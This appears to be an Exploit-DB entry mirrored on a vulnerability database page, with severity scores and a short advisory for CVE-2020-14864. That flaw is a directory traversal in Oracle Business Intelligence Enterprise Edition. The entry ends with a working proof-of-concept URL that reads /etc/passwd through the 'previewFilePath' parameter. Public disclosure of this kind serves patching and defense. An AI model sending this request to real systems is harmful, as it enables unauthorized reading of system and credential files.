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Ivo PalazzoloEDB-ID:48964

HistoryOct 28, 2020 - 12:00 a.m.

Oracle Business Intelligence Enterprise Edition 5.5.0.0.0 / 12.2.1.3.0 / 12.2.1.4.0 - 'getPreviewImage' Directory Traversal/Local File Inclusion

2020-10-2800:00:00

Ivo Palazzolo

www.exploit-db.com

309

oracle

business intelligence

enterprise edition

directory traversal

local file inclusion

security vulnerability

administration interface

system files

CVSS2

7.8

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:C/I:N/A:N

CVSS3

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

AI Score

7.7

Confidence

High

EPSS

0.574

Percentile

97.8%

JSON

# Exploit Title: Oracle Business Intelligence Enterprise Edition 5.5.0.0.0 / 12.2.1.3.0 / 12.2.1.4.0 - 'getPreviewImage' Directory Traversal/Local File Inclusion
# Date: 2020-10-27
# Exploit Author: Ivo Palazzolo (@palaziv)
# Reference: https://www.oracle.com/security-alerts/cpuoct2020.html
# Vendor Homepage: https://www.oracle.com
# Software Link: https://www.oracle.com/middleware/technologies/bi-enterprise-edition-downloads.html
# Version: 5.5.0.0.0, 12.2.1.3.0, 12.2.1.4.0
# Tested on: SUSE Linux Enterprise Server
# CVE: CVE-2020-14864

# Description
A Directory Traversal vulnerability has been discovered in the 'getPreviewImage' function of Oracle Business Intelligence Enterprise Edition. The 'getPreviewImage' function is used to get a preview image of a previously uploaded theme logo. By manipulating the 'previewFilePath' URL parameter an attacker with access to the administration interface is able to read arbitrary system files.

# PoC
https://TARGET/analytics/saw.dll?getPreviewImage&previewFilePath=/etc/passwd